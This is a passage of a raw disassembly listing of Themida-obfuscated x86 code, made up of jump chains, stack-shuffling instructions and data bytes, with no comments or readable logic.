; ---------------------------------------------------------------------------

loc_50DB95:				; CODE XREF: Themida_:0050CA16j
		shr	edi, 4
		and	edi, 55853CB9h
		xor	edi, 704D2F9Bh
		add	edi, 59856D49h
		push	esi
		push	eax
		mov	eax, 8BF2C7DFh
		mov	esi, eax
		pop	eax
		jmp	loc_509582
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 47h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DBBF:				; CODE XREF: Themida_:005014B4j
		xor	esi, 2CE44E8Eh
		push	5946h
		mov	[esp], ebp
		mov	ebp, 6C0F7034h
		push	0
		jmp	loc_508862
; ---------------------------------------------------------------------------

loc_50DBDC:				; CODE XREF: Themida_:00510E3Cj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	66E0h
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_50E47D
; ---------------------------------------------------------------------------
		dw 0BA52h
		align 10h
		dd 6FD0C281h, 0EA813B94h, 27C16FEDh, 0C281CA29h, 27C16FEDh
		dd 76F1BD55h, 0E58107E0h, 9415091h, 1A9DBE56h, 0F6817A08h
		dd 564C272Dh, 530BEE81h, 0E6814851h, 720D2D2Dh,	371AF681h
		dd 0F5015854h, 5DEA295Eh, 89D78957h, 0E95A5FF9h, 0FFFF42EBh
; ---------------------------------------------------------------------------

loc_50DC60:				; CODE XREF: Themida_:00511A99j
		add	al, bl
		sub	al, 48h
		pop	ebx
		jmp	loc_4FFD24
; ---------------------------------------------------------------------------

loc_50DC6A:				; CODE XREF: Themida_:00502648j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_50056A
; ---------------------------------------------------------------------------

loc_50DC74:				; CODE XREF: Themida_:00514C36j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4FF9C2
; ---------------------------------------------------------------------------
		dd 4C481h, 54530000h, 4B8505Bh,	1000000h, 0A6858C3h, 89000061h
		dd 58542404h, 405h, 42D00h, 4330000h, 24043124h, 2C44E9h
		dd 0F7D6F700h, 0E4C681D6h, 18DE1BAh, 0B6E95EF7h, 42FFFF24h
		dd 1177EA81h, 0F7526BDBh, 875A2414h, 9C5BE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DCDE:				; CODE XREF: Themida_:0050A9F9j
		mov	eax, [esp]
		jmp	loc_5090E1
; ---------------------------------------------------------------------------

loc_50DCE6:				; CODE XREF: Themida_:00514B91j
		push	esi
		mov	esi, 2
		add	ebp, esi
		jmp	loc_505696
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFF7EE8h
; ---------------------------------------------------------------------------

loc_50DCFC:				; CODE XREF: Themida_:00501636j
		shl	ebx, 8
		sub	ebx, 45E96132h
		shl	ebx, 1
		add	ebx, 0EBD7BB06h
		sub	eax, ebx
		pop	ebx
		sub	eax, ebx
		push	3EC5h
		mov	[esp], esi
		push	edi
		push	3A0C0826h
		jmp	loc_500D6D
; ---------------------------------------------------------------------------

loc_50DD25:				; CODE XREF: Themida_:0050F476j
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5016CA
; ---------------------------------------------------------------------------

loc_50DD30:				; CODE XREF: Themida_:0050253Aj
		pop	ebp
		jmp	loc_50F13B
; ---------------------------------------------------------------------------
		dw 105h
		dd 68000000h, 0B9Ch, 0FF9AFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50DD45:				; CODE XREF: Themida_:0050B446j
		shl	ebp, 3
		add	ebp, 64A0ACh
		push	ebp
		xor	dword ptr [esp], 4C202D32h
		mov	esi, [esp]
		push	edx
		jmp	loc_5042D3
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFA538E9h, 0FAC181FFh, 19BFAF6h, 0D156E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DD72:				; CODE XREF: Themida_:00500F4Cj
		xor	[esp+4], ebx
		jmp	loc_50CA06
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6FD5145Ch, 0C681D6F7h, 1, 0EBA0F681h, 0EA81902Ah, 69991431h
		dd 0E957F201h, 0FFFFA09Dh, 0C8B60F66h, 0E99C5166h, 0FFFFA8B1h
; ---------------------------------------------------------------------------

loc_50DDA8:				; CODE XREF: Themida_:00509701j
					; Themida_:0050F489j ...
		push	dword ptr [edi+24h]
		jmp	loc_503A32
; ---------------------------------------------------------------------------
aQsdh		db 'Qh',0
		align 2
		dw 665Ch
		dd 66C8AF0Fh, 0ECE99C51h, 0BFFFFF29h, 0FFFFFFFFh, 34FFFB01h
		dd 0B6DCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DDD2:				; CODE XREF: Themida_:00510765j
		pop	ecx
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_50F8AD
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 9268240Ch, 8900005Dh, 0E189240Ch, 72EDB850h,	0B95123FBh
		dd 0EA00A26h, 0D1F7D9F7h, 82F2C181h, 0C801CD64h, 310DE9h
		dd 34FF5400h, 0C4835D24h, 4BB5304h, 1000000h, 0BF575BDDh
		dd 2, 12E9FD01h, 89FFFF39h, 0B5B5240Ch,	0B2ACB753h, 0C3EA8064h
		dd 3B70E9h, 4C28300h, 0FFD893E9h, 243C33FFh, 33243C31h
		dd 248B243Ch, 0F1F76624h, 6F536866h, 24148966h,	0E99C5066h
		dd 0FFFF19AEh, 9D1C77FFh, 4185866h, 9FE99C24h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DE77:				; CODE XREF: Themida_:00505697j
		xchg	ebp, [esp]
		pop	esp
		or	bh, ch
		pop	cx
		neg	bh
		sub	bh, 0A4h
		add	al, bh
		jmp	loc_50B78F
; ---------------------------------------------------------------------------
		db 54h
		dd 4C18159h, 68000000h,	5024h, 68241489h, 1635425Bh, 6EAC15Ah
		dd 639AE951h, 0E953FFFFh, 676Ch, 57D831ADh, 4431F3BFh
		dd 681Ah, 0DEE90000h, 68FFFFC3h, 1BB4h,	83241489h, 248904ECh
		dd 24048124h, 4, 0FF8F12E9h, 5DEA01FFh,	0FFB0D6E9h, 24048BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50CC0F
; ---------------------------------------------------------------------------

loc_50DEF0:				; CODE XREF: Themida_:005030D9j
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	4F46h
		mov	[esp], eax
		push	6AE462EBh
		pop	eax
		jmp	loc_50BD67
; ---------------------------------------------------------------------------

loc_50DF0B:				; CODE XREF: Themida_:00504195j
		add	esp, 4
		push	eax
		push	ebx
		mov	ebx, 47D05B5Dh
		not	ebx
		neg	ebx
		sub	ebx, 0C703D362h
		mov	eax, ebx
		jmp	loc_504B51
; ---------------------------------------------------------------------------
		dw 158h
		dd 0E904245Ch, 0E64h, 8490112Dh, 2C81505Eh, 0CE476824h
		dd 0C1815909h, 9CE4768h, 5EA1E958h, 4C010000h, 34FF0424h
		dd 240C8B24h, 4C481h, 0C4830000h, 685804h, 8900006Bh, 4BF243Ch
		dd 1000000h, 0E9525FF8h, 5CCFh,	286224B8h, 0E9C2297Ch
		dd 0FFFF2307h
; ---------------------------------------------------------------------------

loc_50DF80:				; CODE XREF: Themida_:005045AAj
		sub	esi, 3CFE0421h
		sub	esi, 2CC038B6h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_50C812
; ---------------------------------------------------------------------------
		dw 0E630h
		dd 0E924048Bh, 0FFFF3381h, 0E906E2C0h, 0FFFF6786h
; ---------------------------------------------------------------------------

loc_50DFB4:				; CODE XREF: Themida_:00509984j
		xchg	ebp, ebx
		not	ebp
		jmp	loc_50B75F
; ---------------------------------------------------------------------------

loc_50DFBD:				; CODE XREF: Themida_:0050F143j
		mov	ebp, esp
		push	ebx
		jmp	loc_50038E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 4C481h, 48F0000h,	24248B24h, 9C243CD2h, 0FF2B51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50DFE1:				; CODE XREF: Themida_:0050352Aj
		push	esi
		push	7463031Ah
		pop	esi
		neg	esi
		sub	esi, 17B752F9h
		jmp	loc_5011AA
; ---------------------------------------------------------------------------

loc_50DFF5:				; CODE XREF: Themida_:00512095j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	edx, ecx
		pop	ecx
		add	edx, eax
		jmp	loc_51191E
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 10246824h, 24890000h, 24048124h, 4, 0C5B8505Dh, 55143B4Ch
		dd 2843E9h, 4C38100h, 87000000h, 815C241Ch, 1318C9C7h
		dd 4555E936h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50E03A:				; CODE XREF: Themida_:005131F3j
		push	esi
		jmp	loc_50AAFE
; ---------------------------------------------------------------------------
		dd 8827C380h, 0B6525BDDh, 5AF500F7h, 0FF1F31E9h, 7826BFFFh
		dd 0EF81437Ah, 2E410F6Bh, 0C1D7F74Fh, 9E906E7h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E067:				; CODE XREF: Themida_:0050093Fj
		mov	esp, [esp]
		not	esi
		add	esi, 4D5545AEh
		sub	esi, 0FF3A0B8Eh
		jmp	loc_513647
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 55h
		dd 33FFFFC7h, 248B243Ch, 455BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50E08E:				; CODE XREF: Themida_:00513C34j
		add	[esp+8], edi
		pop	edi
		jmp	loc_50347B
; ---------------------------------------------------------------------------

loc_50E098:				; CODE XREF: Themida_:00509970j
		push	774469DAh
		jmp	loc_50174D
; ---------------------------------------------------------------------------

loc_50E0A2:				; CODE XREF: Themida_:005118A4j
		pop	esp
		xor	esi, 71800200h
		push	edi
		jmp	loc_50BAE3
; ---------------------------------------------------------------------------

loc_50E0AF:				; CODE XREF: Themida_:00510E2Dj
		mov	edi, 4ABD09EEh
		jmp	loc_511515
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
aH8:
		unicode	0, <h8>
		dw 0E900h
		dw 0CFEDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E0C6:				; CODE XREF: Themida_:005066D9j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_503758
; ---------------------------------------------------------------------------
		db 50h
		dd 0B8h, 534D2D00h, 0F0291F8Eh,	8E534D05h, 0E9C6891Fh
		dd 3826h, 6676BB53h, 0D9890F99h, 0FF6518E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E0F5:				; CODE XREF: Themida_:0050FF33j
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 442A3720h
		jmp	loc_507F94
; ---------------------------------------------------------------------------

loc_50E108:				; CODE XREF: Themida_:00500276j
		xchg	edx, [esp]
		jmp	loc_5122B1
; ---------------------------------------------------------------------------
		dd 39E9F129h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E117:				; CODE XREF: Themida_:0050A870j
		mov	[esp], ebp
		mov	ebp, 0BA2696Bh
		jmp	loc_50B42B
; ---------------------------------------------------------------------------

loc_50E124:				; CODE XREF: Themida_:0051138Fj
		mov	esp, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 70B3119Ah
		xor	esi, 7ABF71F5h
		sub	esi, 0B1E6F41Ah
		mov	edx, esi
		pop	esi
		jmp	loc_51413C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 97BB5324h, 89722F16h, 0E7C15BDFh, 6802h, 0AFE90000h
		dd 89FFFFD0h, 0A3E92414h, 5CFFFFA8h, 0B2E9C330h, 0B2FFFF63h
		dd 0FECAFEC4h, 87DEE9C2h, 0B951FFFFh, 44F416ADh, 0FF3156E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E189:				; CODE XREF: Themida_:005085EFj
		add	edi, 75161DE0h
		pop	ebx
		push	edx
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		pop	ebx
		jmp	loc_50890E
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFF5337h
; ---------------------------------------------------------------------------

loc_50E1A8:				; CODE XREF: Themida_:005032E9j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, edx
		pop	edx
		jmp	loc_50FAF4
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 52E78924h, 0FFB62BE9h, 81D101FFh, 273151C1h,	83D3E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E1DA:				; CODE XREF: Themida_:004FF9F9j
		sub	ebp, 0C74AFD18h
		mov	edi, ebp
		jmp	loc_50F69B
; ---------------------------------------------------------------------------

loc_50E1E7:				; CODE XREF: Themida_:0050752Aj
		add	esp, 4
		sub	eax, ebp
		pop	ebp
		push	4DEEh
		mov	[esp], ebx
		push	esi
		jmp	loc_50BBCC
; ---------------------------------------------------------------------------

loc_50E1FB:				; CODE XREF: Themida_:00500C4Dj
		and	ebx, 255B3CB2h
		or	ebx, 1BE56B2Fh
		sub	ebx, 3FE56BBBh
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	ebx, 70BF22C8h
		sub	ebx, 2D256056h
		add	ebx, edi
		jmp	loc_50E593
; ---------------------------------------------------------------------------
		dw 489h
		dd 48B5424h, 4C48324h, 5F256855h, 0C890000h, 4B924h, 0CD890000h
		dd 83240C8Bh, 816804C4h, 89000038h, 0E789243Ch,	4C781h
		dd 0EF830000h, 243C8704h, 2434895Ch, 0CB1EDBBEh, 0E9F02971h
		dd 0FFFFE155h, 24048B66h, 6BC268h, 56D9E900h, 489FFFFh
		dd 0BC91E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E28E:				; CODE XREF: Themida_:0050876Ej
		push	ecx
		jmp	loc_510522
; ---------------------------------------------------------------------------
		dd 6224BB53h, 0DA017C28h, 37AFE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50E2A2:				; CODE XREF: Themida_:005020E0j
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 44583C5Eh
		sub	eax, 44583C5Ah
		add	edx, eax
		pop	eax
		jmp	loc_513A29
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0D5h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E2C3:				; CODE XREF: Themida_:0050D213j
		push	edi
		inc	dword ptr [esp]
		pop	edi
		sub	edi, 18764134h
		add	edi, 6005BD0Bh
		jmp	loc_50564E
; ---------------------------------------------------------------------------
		db 68h,	73h, 5Ch
		dd 3C890000h, 0CC96824h, 0EC830000h, 24248904h,	4240481h
		dd 8F000000h, 4812404h,	424h, 3DE95F00h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50E303:				; CODE XREF: Themida_:005105FFj
		sub	esi, 0F14F57A7h
		add	edx, esi
		pop	esi
		push	12ACh
		jmp	loc_512E49
; ---------------------------------------------------------------------------
		dw 6852h
		dd 9F2h, 0B8240489h, 648E5512h,	4EC81h,	3C890000h, 4CD1BF24h
		dd 87575AE7h, 0D1F7240Ch, 0FFFD40E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E33D:				; CODE XREF: Themida_:0050410Cj
		add	esp, 4
		add	ebx, eax
		push	3E72h
		mov	[esp], edx
		mov	edx, 145A42F6h
		shl	edx, 3
		add	edx, 2B631CCCh
		push	eax
		mov	eax, 28A84CD8h
		sub	edx, eax
		pop	eax
		shr	edx, 8
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 402040AAh
		jmp	loc_507805
; ---------------------------------------------------------------------------
		dw 0D6F6h
aChe		db 'h=',0
		dw 8900h
		dd 0AEB5240Ch, 38B9E9h,	0E9E38900h, 0FFFF733Eh
; ---------------------------------------------------------------------------

loc_50E394:				; CODE XREF: Themida_:00507F5Fj
		pop	edx
		jmp	loc_50C1FC
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 49F2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E3A2:				; CODE XREF: Themida_:005060F5j
		pop	esi
		add	ecx, 88E3009h
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 43FF386Eh
		push	ebx
		mov	ebx, 38560C6Bh
		and	eax, ebx
		pop	ebx
		push	edi
		jmp	loc_50707D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E92434FFh, 0FFFF4293h, 160229BFh, 0E9FB0957h, 0FFFF6B8Ah
; ---------------------------------------------------------------------------

loc_50E3E0:				; CODE XREF: Themida_:0050F28Fj
		xor	cl, 39h
		shr	cl, 3
		inc	cl
		jmp	loc_5033EC
; ---------------------------------------------------------------------------

loc_50E3ED:				; CODE XREF: Themida_:00503DE2j
		mov	esi, esp
		add	esi, 4
		push	2126h
		mov	[esp], edx
		mov	edx, 22435648h
		or	edx, 4C94324Ah
		xor	edx, 796271A5h
		xor	edx, 26916CD4h
		xor	edx, 228060D7h
		jmp	loc_51472E
; ---------------------------------------------------------------------------
		db 89h
		dd 59B82404h, 567C0262h, 0D64D7CBEh, 0BF572Bh, 0E9000000h
		dd 4A7Dh
; ---------------------------------------------------------------------------

loc_50E438:				; CODE XREF: Themida_:0050049Fj
		xchg	esi, [esp]
		jmp	loc_5107F7
; ---------------------------------------------------------------------------

loc_50E440:				; CODE XREF: Themida_:004FFA11j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_500C39
; ---------------------------------------------------------------------------

loc_50E44F:				; CODE XREF: Themida_:00512BEFj
		mov	[esp], ebx
		jmp	loc_51467D
; ---------------------------------------------------------------------------

loc_50E457:				; CODE XREF: Themida_:00513BCBj
		mov	esi, [esp]
		jmp	loc_5016E8
; ---------------------------------------------------------------------------
		db 29h
		dd 0C875AD1h, 3C895C24h, 2474FF24h, 0A0E95F04h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E473:				; CODE XREF: Themida_:0050508Bj
					; Themida_:00509F39j
		push	72A6h
		jmp	loc_513E15
; ---------------------------------------------------------------------------

loc_50E47D:				; CODE XREF: Themida_:0050DC05j
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_51028C
; ---------------------------------------------------------------------------

loc_50E48B:				; CODE XREF: Themida_:00508AE2j
		shr	ebx, 7
		jmp	loc_50ED17
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8295EF1h, 0FFC243E9h, 240C89FFh, 0FF1428E9h, 0DCEA81FFh
		dd 0E9309D36h, 4393h
; ---------------------------------------------------------------------------

loc_50E4B0:				; CODE XREF: Themida_:00507880j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_51480E
; ---------------------------------------------------------------------------

loc_50E4C6:				; CODE XREF: Themida_:0050CB7Aj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6596297Bh
		jmp	loc_50CE18
; ---------------------------------------------------------------------------
		db 4, 2	dup(28h)
		dd 4282CC8h, 240C8BA4h,	560AE950h, 0D6F70000h, 8108E6C1h
		dd 70D137F6h, 5C57E99Bh, 0C8B0000h, 4C48124h, 53000000h
		dd 0EF52EF68h, 684B5B1Eh, 5C24h, 401DE9h, 0C4835A00h, 0E930FF04h
		dd 60D4h, 0FF12F1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E525:				; CODE XREF: Themida_:00510297j
		mov	edi, 74053AFFh
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_511B60
; ---------------------------------------------------------------------------
		dw 4048h
		dd 12Dh, 77A40500h, 0EE97519h, 81000043h, 4C3h,	4C38300h
		dd 0E9241C87h, 0FFFFD8B6h
; ---------------------------------------------------------------------------

loc_50E560:				; CODE XREF: Themida_:00500D7Dj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 62857D2Eh
		jmp	loc_5085F4
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 2
		dd 66000000h, 0B1240C89h, 1F54E9B7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50E582:				; CODE XREF: Themida_:0050D5ACj
		sub	ecx, 0F10B7D7Bh
		push	eax
		mov	eax, 3E2223D5h
		jmp	loc_50D0EE
; ---------------------------------------------------------------------------

loc_50E593:				; CODE XREF: Themida_:0050E22Dj
		add	ebx, 2D256056h
		sub	ebx, 70BF22C8h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_509FBA
; ---------------------------------------------------------------------------
		dd 311EE958h, 468FFFFh,	59000000h, 4752E9h, 604A6800h
		dd 3C890000h, 4EC8124h,	54000000h, 5024048Fh, 4B685755h
		dd 5F34442Fh, 81D7F747h, 41B980EFh, 8BFD89C8h, 0C481243Ch
		dd 4, 0FFC247E9h, 815D5EFFh, 8A1426EDh,	2E83E96Dh, 0E7280000h
		dd 24048B66h, 2C481h, 92E90000h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E617:				; CODE XREF: Themida_:0050A961j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 62857D2Eh
		sub	[esp+4], edi
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_505EAA
; ---------------------------------------------------------------------------
		db 86h
		dd 2EC83D3h, 24048966h,	88D58851h, 0D4F659ECh, 8B66E288h
		dd 0C4832404h, 80D38602h, 9304E0C3h, 932CD828h,	5B2434FFh
		dd 8004C483h, 0B050CDEBh, 28133413h, 0EB8058C3h, 80C30002h
		dd 686602C3h, 89661C62h, 0B5240Ch, 3629E9h
		db 0
; ---------------------------------------------------------------------------

loc_50E685:				; CODE XREF: Themida_:005099FCj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5073A3
; ---------------------------------------------------------------------------
		dw 8166h
		dd 0B4022444h, 6C816651h, 72FB0224h, 0BE665666h, 81664781h
		dd 52042444h, 74296625h, 55660424h, 0FF449EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E6B9:				; CODE XREF: Themida_:00509B71j
		add	esp, 4
		add	esp, 4
		xor	eax, 17C74BD2h
		add	ebx, 7B201AA2h
		add	ebx, 6F787EA1h
		jmp	loc_50BE51
; ---------------------------------------------------------------------------
		dd 0CBE6815Fh, 5136F810h, 31E4B850h, 0C18908E2h, 8BCE3158h
		dd 0C481240Ch, 4, 475EF721h, 0FFD7EAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E6FD:				; CODE XREF: Themida_:00500926j
		mov	eax, 21FD61FDh
		inc	eax
		push	ebp
		mov	ebp, 21FD61FAh
		xor	eax, ebp
		jmp	loc_50274D
; ---------------------------------------------------------------------------
		dd 30651E2Dh, 3B69E947h, 248BFFFFh, 48B6624h, 5E23E924h
		dd 0CF01FFFFh, 5EE7E9h,	6E2C100h, 5AE9D2F7h, 5BFFFF54h
		dd 81240C8Bh, 4C4h, 0A4EB8000h,	28ECEB80h, 0ECC380C3h
		dd 2EC81h, 89660000h, 0C3682404h, 8900000Bh, 15E9241Ch
		dd 0BAFFFF51h, 4F1C241Ch, 0FFAD96E9h, 6AC805FFh, 0C2893CC0h
		dd 0B466858h, 42E90000h, 8B00001Dh, 0C483240Ch,	54AFE904h
		dd 95BD0000h, 0F74E1E4Bh, 81EDD1D5h, 0BEBB3BEDh, 0FEBB5339h
		dd 681F321Eh, 3FFFh, 0E9241C89h, 0FFFF732Dh, 6149C681h
		dd 1C8B3CE2h, 5EDBE924h, 28B30000h, 8B66DE08h, 0E955241Ch
		dd 4F50h, 56476F05h, 0E9F80137h, 0FFFFB8FBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 6D8831CBh
		jmp	loc_511F14
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 2474FF56h, 48F5E04h, 55FE924h, 0C5680000h, 89000034h
		dd 0FF5A2404h, 48B2434h, 4C48324h, 0E9E38953h, 0FFFFB7FFh
; ---------------------------------------------------------------------------

loc_50E810:				; CODE XREF: Themida_:0050F778j
		mov	ebx, [esp]
		add	esp, 4
		dec	cl
		jmp	loc_50D965
; ---------------------------------------------------------------------------
		dd 0D5885150h, 0E959E888h, 0FFFF9A3Ah, 9154E981h, 0C8091D2Ch
		dd 67D90D59h, 2054D47h,	0E9547354h, 0FFFF8D9Bh,	4C481h
		dd 1C680000h, 0E9000002h, 0FFFF6C27h, 5FF3B850h, 0F4054865h
		dd 212FCDA8h, 0F78158C7h, 456A3BDCh, 1714E9h, 83E08900h
		dd 1C8904ECh, 0AE685624h, 8B153C30h, 0EC812434h, 4, 89243C89h
		dd 4C781E7h, 81000000h,	4C7h, 50BAE900h, 4890000h, 94685724h
		dd 5F47AC3Dh, 0BB53h, 98E90000h, 87FFFFCCh, 248B242Ch
		dd 24043124h, 0FF0F59E9h, 241431FFh, 0FFE8EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E8C5:				; CODE XREF: Themida_:00506FF1j
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebp
		jmp	loc_508A18
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 24148704h, 0FFA167E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E8DD:				; CODE XREF: Themida_:004FFBCCj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7AB979BAh
		mov	edx, 85478645h
		push	7463h
		mov	[esp], esi
		mov	esi, 3CA878BCh
		dec	esi
		shl	esi, 1
		or	esi, 65265301h
		push	edx
		mov	edx, 4F2B1BB5h
		or	esi, edx
		pop	edx
		dec	esi
		add	esi, 0BC2E672Fh
		sub	edx, 224A65A8h
		add	edx, esi
		jmp	loc_50F55C
; ---------------------------------------------------------------------------
		dw 26BFh
		dd 0F757D11Fh, 0D090E9D7h, 3C87FFFFh, 24248B24h, 46A9E9h
		dd 3768AD00h, 8900005Fh, 9DE9240Ch
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E94B:				; CODE XREF: Themida_:0050AEB6j
		push	1584h
		mov	[esp], esi
		mov	esi, 4
		sub	edx, 15746E13h
		add	edx, esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 15746E13h
		sub	edx, 0EC97093h
		add	edx, ebx
		push	ebp
		mov	ebp, 34CB5A2Fh
		sub	ebp, 2601E99Ch
		add	edx, 8EE4D06h
		add	edx, ebp
		push	ebx
		jmp	loc_50FDD5
; ---------------------------------------------------------------------------

loc_50E98D:				; CODE XREF: Themida_:005076EEj
		pop	edi
		xchg	esi, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	edx
		push	1F5Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5057CC
; ---------------------------------------------------------------------------
		db 66h
		dd 679AC281h, 81C28166h, 0E95366E1h, 0FFFFEC88h, 17101235h
		dd 75CE2537h, 0E8C177F5h, 8898E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E9CE:				; CODE XREF: Themida_:00508320j
		mov	eax, [esp]
		jmp	loc_50D833
; ---------------------------------------------------------------------------

loc_50E9D6:				; CODE XREF: Themida_:00500A5Dj
		mov	eax, esp
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		jmp	loc_50B843
; ---------------------------------------------------------------------------

loc_50E9E7:				; CODE XREF: Themida_:0050A0E1j
		mov	edx, 0A881A6Eh
		push	edx
		xchg	eax, [esp]
		not	eax
		jmp	loc_504E29
; ---------------------------------------------------------------------------
		db 81h
		dd 362184C7h, 0CAEF8158h, 8123E022h, 0C71ADFEFh, 81C7011Dh
		dd 0C71ADFC7h, 0CAC7811Dh, 5123E022h, 0EB1A15B9h, 0B15BE947h
		dd 8B66FFFFh, 8950240Ch, 405E0h, 42D0000h, 87000000h, 0E95C2404h
		dd 0FFFFB6AAh, 0BA52F001h, 34B93AE4h, 8B5AD029h, 89512434h
		dd 4AB7E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EA52:				; CODE XREF: Themida_:00502CC4j
		push	eax
		mov	eax, 0
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		push	dword ptr [esp]
		pop	edx
		push	1C58h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_4FF9DD
; ---------------------------------------------------------------------------
aBV_pesr	db 'ˢ_pe`',0
		align 2

loc_50EA8A:				; CODE XREF: Themida_:00514E31j
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_514D5B
; ---------------------------------------------------------------------------
		dd 4245C29h, 0FF9967E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50EAA9:				; CODE XREF: Themida_:00511574j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_50DAFD
